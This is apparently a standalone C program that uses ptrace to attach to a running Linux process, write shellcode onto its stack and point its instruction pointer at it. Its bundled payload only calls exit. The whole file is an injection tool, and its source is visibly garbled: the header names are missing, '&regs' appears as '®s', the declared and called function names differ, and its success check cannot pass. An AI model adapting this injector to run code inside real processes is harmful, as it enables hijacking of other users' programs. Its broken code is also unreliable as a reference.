#include #include #include #include #include #include #include #include char shellcode_payload[] = "\xb0\x01" /* mov $0x1,%al */ "\x30\xdb" /* xor %bl,%bl */ "\xcd\x80"; /* int $0x80 */ typedef struct user_regs_struct reg_t; /* Typedef for registry structure */ int inject(pid_t pid, long addr, void *shellcode, int len); int main(int argc, char *argv[]) { pid_t pid; reg_t regs; long addr; int status = 0; if (argc < 2) { printf("Usage: %s \n", argv[0]); return -1; } pid = atoi(argv[1]); printf("[+] Attaching to %d...\n",pid); /* Attaching process */ if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) { perror("[-] attach"); return -1; } /* Wait the process */ wait(&status); /* get the CPU registers for that process */ if (ptrace(PTRACE_GETREGS, pid, ®s, ®s) < 0) { perror("[-] getregs"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } /* Calculate address of our shellcode (ESP-sizeof(shellcode) */ printf("[+] Calculating address of shellcode payload...\n"); addr = regs.esp - sizeof(shellcode_payload); printf("[+] Shellcode payload injecting at address: 0x%.8x\n", (unsigned int)addr); if (inject_shellcode(pid, addr, shellcode_payload, sizeof(shellcode_payload) - 1) != addr) { return -1; } /* EIP now *points* to our shellcode payload */ printf("[+] Old EIP: 0x%.8x\n",(unsigned int)regs.eip); regs.eip = addr + 2; printf("[+] EIP points to shellcode payload at address: 0x%.8x\n", (unsigned int)regs.eip); if (ptrace(PTRACE_SETREGS, pid, ®s, ®s) < 0) { perror("[-] setregs"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } printf("[+] Injecting executed with success...\n"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return 0; } /* Injection Function */ int inject_shellcode(pid_t pid, long addr, void *shellcode, int len) { long payload; int i; for(i=0;i < len;addr+=4,shellcode+=4,i+=4) { memcpy(&payload, shellcode, 4); if (ptrace(PTRACE_POKETEXT, pid, addr, payload) < 0 ) { ptrace(PTRACE_DETACH, pid, NULL, NULL); return -1; } } return addr; }